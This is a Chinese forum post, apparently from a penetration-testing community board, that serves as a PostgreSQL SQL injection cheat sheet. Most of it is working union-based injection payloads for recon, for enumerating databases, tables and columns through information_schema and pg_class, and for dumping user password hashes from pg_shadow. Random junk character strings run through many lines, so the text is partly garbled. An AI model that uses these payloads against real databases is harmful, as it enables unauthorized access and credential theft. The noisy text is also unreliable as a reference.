支持多语句执行,语句可以没有from
postgres用户是超级用户(创始人账户) 只有superuser有copy权限
注释: — , /**/: i5 _& D2 O$ D; M
连接符: %20 , + , /**/
内置函数:% [* u! `& S" m E( \0 s, `
current_database() //当前数据库名 v5 @4 K% j8 T1 I2 U5 E ~
session_user //会话用户
current_user //当前数据库用户 }/ `9 Q/ o- D1 R" {
user //当前用户
version() //数据库版本
Union注射:& Q2 }/ a6 a( d) S" |
order by n–" i( M& f8 P! n- L* x% N
and 1=2 union select null,null,null–+ f$ b& [8 @# i
and 1=2 union select ‘beach’,null,null–
and 1=2 union select (select version()),null,null–
获取表名,字段名(新版本利用information_schema):4 s, Y4 L" k# I% _
group_concat(table_name)
and 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n–
and 1=2 union select column_name,null,null from information_schema.columns where table_name=’admin’ limit 1 offset n–
(老版本)! T7 \# n" v3 n S) ~
pg_class.oid对应pg_attribute.attrelid* V# p3 R/ ^6 l* r* s
pg_class.relname表名
pg_attribute.attname字段名
select relname from pg_class获取表名2 M! n; X I( L5 c- H2 a
select oid from pg_class where 条件 获取参数. Y: @+ g( s1 ~! |
select attname from pg_attribute where attrelid=’oid的值’ 获取字段名
实战:
and 1=2 union select relname,null,null from pg_class where relkind=’r’ limit 1 offset 0–加入relkind=’r'只查询普通表# J! w4 q' x4 b: e9 t; e6 `
and 1=2 union select cast(oid as varchar(10)),null,null from pg_class where relkind=’r’ limit 1 offset 0–, T* V8 P1 D, z$ Q$ c7 g% I, y
由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型。比如得到1136
and 1=2 union select attname,null,null from pg_attribute where attrelid=1136 limit 1 offset 0–爆表名
======================================================================
and 1=2 union select datname,null,null from pg_database limit 1 offset 0–爆库/ y1 {) `* C& t& D
and 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0–爆数据库用户密码
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) | Powered by Discuz! X3.2 |